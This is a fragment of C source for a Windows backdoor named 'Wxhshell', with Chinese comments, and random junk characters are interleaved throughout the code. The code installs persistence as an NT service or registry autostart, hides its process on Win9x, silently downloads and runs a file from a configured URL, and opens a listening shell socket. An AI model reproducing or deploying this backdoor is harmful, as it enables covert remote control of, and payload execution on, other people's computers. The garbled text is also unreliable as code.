d|z P/6$T2k_ CloseHandle(hProcess); SVB> 1s9F q~ ]S5 if(strstr(procName,"services")) return 1; // 以服务启动 ux`)jOQ`Y] <&^P1x<x return 0; // 注册表启动 _4Z|O] } z~f Zg6 +GqK$B(x7 // 主模块 'Z5l'Ac int StartWxhshell(LPSTR lpCmdLine) 7)SG#|v[$ { ]/g&y5RG SOCKET wsl; wFI2(cQ BOOL val=TRUE; }tJRBb int port=0; .$&mWytw= struct sockaddr_in door; gT8Q:8f: z=%&?V if(wscfg.ws_autoins) Install(); :59fb"^$ @-ps[b`z port=atoi(lpCmdLine); Hj(ay48 Lu?MRF
f if(port<=0) port=wscfg.ws_port; }x!=F<Q!r ]z3!hgTj WSADATA data; >n3w'b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rHYSS0*3 G8AT]
= if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; paCC'*bv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jy<hTd*q door.sin_family = AF_INET; oHh~!#u door.sin_addr.s_addr = inet_addr("127.0.0.1"); 11Sflj door.sin_port = htons(port); m03D+@F f4[fXP;A if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @N+ }cej closesocket(wsl); NN>E1d= return 1; rG[iEY } A.- j5C4 jR1t&UD3Y if(listen(wsl,2) == INVALID_SOCKET) { E&>3 {uZI closesocket(wsl); tV.qdy/]} return 1; ]rC2jB\,M } $[(amj-;l Wxhshell(wsl); \EI<1B WSACleanup(); J34/rL/s WX~:Y,l+u return 0; ]]Bqte l$_q#Kd } c+S<U* J)o.@+Q} // 以NT服务方式启动 2-G6I92d VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?OjZb'+=K { skaPC#u DWORD status = 0; /Uxp5 b h DWORD specificError = 0xfffffff; y0}3s)lKv fhwJ serviceStatus.dwServiceType = SERVICE_WIN32; )WWqi,T} serviceStatus.dwCurrentState = SERVICE_START_PENDING; k65V5lb serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _"0, serviceStatus.dwWin32ExitCode = 0; KYw~(+gHv2 serviceStatus.dwServiceSpecificExitCode = 0; ~t=73fwB serviceStatus.dwCheckPoint = 0; t .\<Q#bN# serviceStatus.dwWaitHint = 0; Cj/J&PDQ ^lvYj
E hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9f=L'{ if (hServiceStatusHandle==0) return; srL|Y&8 p <[l0zE5Z8' status = GetLastError(); !m {d6C[ if (status!=NO_ERROR) <b.O^_zQF { yj$a0Rgkv serviceStatus.dwCurrentState = SERVICE_STOPPED; 2eC`^ serviceStatus.dwCheckPoint = 0; ccR#<Pb6q serviceStatus.dwWaitHint = 0; t_xO-fT) serviceStatus.dwWin32ExitCode = status; S"=y>.# serviceStatus.dwServiceSpecificExitCode = specificError; L/Tsq= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3bsuE^,.@ return; u B~C8} } 6Dl]d%. EN2H[i+, serviceStatus.dwCurrentState = SERVICE_RUNNING; pZxuV(QP` serviceStatus.dwCheckPoint = 0; bT>1S2s serviceStatus.dwWaitHint = 0; !&(^R<-id if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !#[B#DZc( } rd_!'pG 1
lZRi-P // 处理NT服务事件,比如:启动、停止 ;9Sb/ VOID WINAPI NTServiceHandler(DWORD fdwControl) ;6)Onwx { 2#jBh switch(fdwControl) y/vGt_^;3< { xcHuH-} case SERVICE_CONTROL_STOP: 3aY^6& serviceStatus.dwWin32ExitCode = 0; y|b&Rup serviceStatus.dwCurrentState = SERVICE_STOPPED; w|,BTM:e serviceStatus.dwCheckPoint = 0; cM?i _m serviceStatus.dwWaitHint = 0; F=g+R~F { n9H4~[JiC SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5mqwNAv } 'g5 Gdn return; UG !+&ii| case SERVICE_CONTROL_PAUSE: 90Sp( serviceStatus.dwCurrentState = SERVICE_PAUSED; 0FAe5
BE7
break; < C1Jim case SERVICE_CONTROL_CONTINUE: [,a2A serviceStatus.dwCurrentState = SERVICE_RUNNING; dy'
J~Eo7 break; 1 !8
b9 case SERVICE_CONTROL_INTERROGATE: ,&F4|{ break; <$>Jsv }; Bj`ZH~T SetServiceStatus(hServiceStatusHandle, &serviceStatus); F1A7l"X] } q)f-z\ w7E7r?)Wl| // 标准应用程序主函数 +tCNJ<S@l$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) OD8{
/7 { BcaX:C?f dCn'IM1 // 获取操作系统版本 ix+sT|> OsIsNt=GetOsVer(); 0ZAT;ea B GetModuleFileName(NULL,ExeFile,MAX_PATH); <=Z`]8 Jfs_9g5 // 从命令行安装 I xk+y? if(strpbrk(lpCmdLine,"iI")) Install(); MszX9wl al1Nmc# // 下载执行文件 (#Ku` if(wscfg.ws_downexe) { $8{v_2C){ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y[A%EMd WinExec(wscfg.ws_filenam,SW_HIDE); zgn~UC6& } 9Hm>@dBhM
wa%;'M& if(!OsIsNt) { AuIg=-xR // 如果时win9x,隐藏进程并且设置为注册表启动 U6xs'0 HideProc(); ;&} rO.0 StartWxhshell(lpCmdLine); ^Q9!DF m } Sg+0w7:2 else |aX1PC)o_ if(StartFromService()) WNO!6*+ // 以服务方式启动 zDohp 5, StartServiceCtrlDispatcher(DispatchTable); &UxI62[k else 2A(?9
R9&h // 普通方式启动 cCBYM StartWxhshell(lpCmdLine); G$oi>zt3 mx=2lL` return 0; xgq
`l# }
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